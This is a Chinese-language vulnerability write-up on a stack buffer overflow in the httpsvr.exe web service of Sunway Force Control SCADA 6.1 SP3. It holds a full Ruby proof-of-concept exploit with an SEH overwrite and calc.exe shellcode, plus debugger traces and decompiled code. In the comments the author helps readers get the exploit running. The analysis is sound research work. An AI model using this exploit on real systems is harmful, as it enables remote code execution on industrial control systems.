Sunway Force Control SCADA 6.1 SP3工控服务远程代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


软件下载:
这个软件exploit-db没有提供对应软件下载,可以去http://www.sunwayland.com.cn/官网,或者通过搜索引擎来获取存在漏洞的版本的软件。

PoC:

 
def send(packet)
    begin
        sock = TCPSocket.new(@ip, @port)
        sock.write(packet)
    rescue Exception => e
        return false
    else
        resp = sock.recv(1024) 
        sock.close
         
        return true
    end
end
 
@ip = ARGV[0]
@port = 80
 
# windows/exec CMD=calc.exe
shellcode = "\xb8\xd5\x45\x06\xc4\xda\xde\xd9\x74\x24\xf4\x5b\x33\xc9" +
            "\xb1\x33\x31\x43\x12\x03\x43\x12\x83\x3e\xb9\xe4\x31\x3c" +
            "\xaa\x60\xb9\xbc\x2b\x13\x33\x59\x1a\x01\x27\x2a\x0f\x95" +
            "\x23\x7e\xbc\x5e\x61\x6a\x37\x12\xae\x9d\xf0\x99\x88\x90" +
            "\x01\x2c\x15\x7e\xc1\x2e\xe9\x7c\x16\x91\xd0\x4f\x6b\xd0" +
            "\x15\xad\x84\x80\xce\xba\x37\x35\x7a\xfe\x8b\x34\xac\x75" +
            "\xb3\x4e\xc9\x49\x40\xe5\xd0\x99\xf9\x72\x9a\x01\x71\xdc" +
            "\x3b\x30\x56\x3e\x07\x7b\xd3\xf5\xf3\x7a\x35\xc4\xfc\x4d" +
            "\x79\x8b\xc2\x62\x74\xd5\x03\x44\x67\xa0\x7f\xb7\x1a\xb3" +
            "\xbb\xca\xc0\x36\x5e\x6c\x82\xe1\xba\x8d\x47\x77\x48\x81" +
            "\x2c\xf3\x16\x85\xb3\xd0\x2c\xb1\x38\xd7\xe2\x30\x7a\xfc" +
            "\x26\x19\xd8\x9d\x7f\xc7\x8f\xa2\x60\xaf\x70\x07\xea\x5d" +
            "\x64\x31\xb1\x0b\x7b\xb3\xcf\x72\x7b\xcb\xcf\xd4\x14\xfa" +
            "\x44\xbb\x63\x03\x8f\xf8\x9c\x49\x92\xa8\x34\x14\x46\xe9" +
            "\x58\xa7\xbc\x2d\x65\x24\x35\xcd\x92\x34\x3c\xc8\xdf\xf2" +
            "\xac\xa0\x70\x97\xd2\x17\x70\xb2\xb0\xf6\xe2\x5e\x19\x9d" +
            "\x82\xc5\x65"
             
payload = "H" * 1599
payload << "\xeb\x06\x90\x90" # Pointer to Next SE Handler
payload << [0x719737FA].pack("V*") # SEH Handler - p/p/r
payload << "\x90" * 40
payload << shellcode
payload << "\x90" * (4058 - shellcode.length)
 
pack = "GET /#{payload} HTTP/1.1\r\n"
pack << "Host: http://#{@ip}:#{@port}\r\n\r\n"
 
puts "packet sended." if send(pack)

测试环境:
Windows xp sp3


漏洞分析


sunway force control scada是一款工控设施,其httpsrv.exe服务存在一处缓冲区溢出,在接收数据包后,没有对数据包长度进行严格的检查,从而导致在后续操作时,由于进行缓冲区拷贝操作,造成了缓冲区溢出,下面对此漏洞进行详细分析。

首先附加httpsrv.exe的进程,运行PoC,程序崩溃,附加Windbg,到达漏洞现场

0:002> g
(948.944): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e441 ebx=00000001 ecx=01252720 edx=00130000 esi=0012e914 edi=01236ff0
eip=7c80bea9 esp=0012e4c8 ebp=0012e4ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
kernel32!lstrcpyA+0x18:
7c80bea9 8802            mov     byte ptr [edx],al          ds:0023:00130000=41

通过kb命令查看一下堆栈调用情况,在下方栈空间已经被破坏,可以查看到破坏情况。

0:000> kb
*** WARNING: Unable to verify checksum for C:\Program Files\PCAuto6\httpsvr.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\PCAuto6\httpsvr.exe
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e4ec 0040366e 0012ea84 012511a4 0040aa20 kernel32!lstrcpyA+0x18
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL - 
0012e524 73d323bf 01236ff0 00000000 0000ff6a httpsvr+0x366e

0012ec90 41414141 41414141 41414141 41414141 comctl32_5d170000!ImageList_DrawEx+0x5e9
0012ec94 41414141 41414141 41414141 41414141 0x41414141
0012ec98 41414141 41414141 41414141 41414141 0x41414141
0012ec9c 41414141 41414141 41414141 41414141 0x41414141
0012eca0 41414141 41414141 41414141 41414141 0x41414141
0012eca4 41414141 41414141 41414141 41414141 0x41414141
0012eca8 41414141 41414141 41414141 41414141 0x41414141
0012ecac 41414141 41414141 41414141 41414141 0x41414141
0012ecb0 41414141 41414141 41414141 41414141 0x41414141
0012ecb4 41414141 41414141 41414141 41414141 0x41414141

这不重要,来查看一下溢出前的lstrcpy函数调用的上下文。

.text:00403660 loc_403660:                             ; CODE XREF: .text:004035CCj
.text:00403660                                         ; DATA XREF: .text:off_40368Co
.text:00403660                 mov     edx, [eax+0Ch]  ; jumptable 004035CC case 4
.text:00403663                 mov     eax, [esi+20h]
.text:00403666                 push    edx
.text:00403667                 push    eax
.text:00403668
.text:00403668 loc_403668:                             ; CODE XREF: .text:004035DBj
.text:00403668                                         ; .text:00403625j
.text:00403668                 call    ds:lstrcpyA

直接跟入当前函数,查看一下函数调用情况。

void __stdcall sub_403590(int a1, _DWORD *a2)
{
  int v2; // esi@1
  int v3; // eax@2
  LPCSTR *v4; // eax@5
  LPCSTR *v5; // eax@8
  int v6; // [sp+4h] [bp-10h]@1
  int v7; // [sp+10h] [bp-4h]@5

  v2 = a1;
  v6 = 0;
  if ( *(_BYTE *)(a1 + 12) & 1 )
  {
    v3 = *(_DWORD *)(a1 + 44);
    switch ( *(_DWORD *)(a1 + 20) )
    {
      case 0:
      case 5:
        lstrcpyA(*(LPSTR *)(a1 + 32), *(LPCSTR *)(v3 + 16));
        break;

根据上下文可以看出,这里会进入一个switch case的循环语句,在接收到5的时候,会进入lstcpy函数处理,来在这个函数入口下断。

0:002> g
Breakpoint 0 hit
eax=0012e574 ebx=00000001 ecx=01236ff0 edx=0000ff6a esi=0040aa20 edi=01236ff0
eip=00403590 esp=0012e510 ebp=0012e524 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpsvr+0x3590:
00403590 6aff            push    0FFFFFFFFh
0:000> dd edi
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL - 
01236ff0  0040abf0 00000001 00000000 00000000
01237000  00000000 00000001 00000000 00144018
01237010  000c0212 00000000 00000000 ffff0315
01237020  00000000 00000000 00000000 00000000
01237030  003eff48 003e4240 50800000 00000000
01237040  73ddae00 00157b98 73ddae00 001581a8
01237050  000d008f 010801dc 6d656874 646e7765
01237060  00000000 000c0212 00000001 00010000

接下来会对case=5的情况进行一下判断

0:000> p
eax=0012e5e8 ebx=00000001 ecx=01236ff0 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035bd esp=0012e4fc ebp=0012e524 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpsvr+0x35bd:
004035bd 8b4e14          mov     ecx,dword ptr [esi+14h] ds:0023:0012e928=00000000
0:000> p
eax=0012e5e8 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035c0 esp=0012e4fc ebp=0012e524 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpsvr+0x35c0:
004035c0 8b462c          mov     eax,dword ptr [esi+2Ch] ds:0023:0012e940=012528e0
0:000> p
eax=012528e0 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035c3 esp=0012e4fc ebp=0012e524 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpsvr+0x35c3:
004035c3 83f905          cmp     ecx,5

这次判断结束后,会进入跳转。

0:000> p
eax=012528e0 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035c6 esp=0012e4fc ebp=0012e524 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
httpsvr+0x35c6:
004035c6 0f87a2000000    ja      httpsvr+0x366e (0040366e)               [br=0]
0:000> p
eax=012528e0 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035cc esp=0012e4fc ebp=0012e524 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
httpsvr+0x35cc:
004035cc ff248d8c364000  jmp     dword ptr httpsvr+0x368c (0040368c)[ecx*4] ds:0023:0040368c=004035d3

然后程序就会进入case5流程,会调用lstrcpy,首先会对payload中的url path进行获取,来看一下获取的过程。

0:000> p
eax=012528e0 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035d3 esp=0012e4fc ebp=0012e524 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
httpsvr+0x35d3:
004035d3 8b4010          mov     eax,dword ptr [eax+10h] ds:0023:012528f0=012511ac
0:000> p
eax=012511ac ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035d6 esp=0012e4fc ebp=0012e524 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
httpsvr+0x35d6:
004035d6 8b4e20          mov     ecx,dword ptr [esi+20h] ds:0023:0012e934=0012ea84
0:000> dc eax
012511ac  4141412f 41414141 41414141 41414141  /AAAAAAAAAAAAAAA
012511bc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
012511cc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
012511dc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
012511ec  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
012511fc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0125120c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0125121c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到在这个过程中,没有对字符串进行长度检查,而是直接传入了,接下来调用。

0:002> g
Breakpoint 0 hit
eax=012511ac ebx=00000001 ecx=0012f628 edx=0000ff6a esi=0012f4b8 edi=01236ff0
eip=00403668 esp=0012f098 ebp=0012f0c8 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
httpsvr+0x3668:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
00403668 ff1540a04000    call    dword ptr [httpsvr+0xa040 (0040a040)] ds:0023:0040a040={kernel32!lstrcpyA (7c80be91)}
0:000> dd esp
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL - 
0012f098  0012f628 012511ac 0040aa20 00000000
0012f0a8  0012f18c 0040941e ffffffff 73d324a5
0012f0b8  0012f4b8 0012f234 0040aa20 0000bc4e
0012f0c8  0012f0f8 73d323bf 01236ff0 00000000
0012f0d8  0000ff6a 00403590 0012f118 00000026
0012f0e8  00000000 00000000 00080296 00080296
0012f0f8  0012f120 73d32f4d 00000000 0000ff6a
0012f108  0012f118 00000000 01236ff0 0012f198
0:000> dd 012511ac
012511ac  4141412f 41414141 41414141 41414141
012511bc  41414141 41414141 41414141 41414141
012511cc  41414141 41414141 41414141 41414141
012511dc  41414141 41414141 41414141 41414141
012511ec  41414141 41414141 41414141 41414141
012511fc  41414141 41414141 41414141 41414141
0125120c  41414141 41414141 41414141 41414141

总结一下整个过程,在httpsrv.exe接收到payload后并没有进行检查,而是直接作为参数传入,之后会进入一处判断,当满足case 5的情况下,会进入一处lstrcpy处理,实际上这个功能是要负责后续处理url的,而在这个过程会发生栈溢出,从而导致任意代码执行。

Comments
Write a Comment
  • 祖国的一块砖 reply

    这个poc怎么跑起来呢???

    • k0shl reply

      @祖国的一块砖 ruby

  • baomanyeye reply

    同问,请问poc怎么跑起来呢?

    • k0shl reply

      @baomanyeye ruby

  • W0ngk reply

    运行的时候报错:

    /home/kali/Desktop/test.rb:39:in :incompatible character encodings: UTF-8 and ASCII-8BIT (Encoding::CompatibilityError)

    咋办啊,不懂ruby哭死

    • k0shl reply

      @W0ngk 试试# encoding: utf-8,声明下编码格式,跟python用法差不多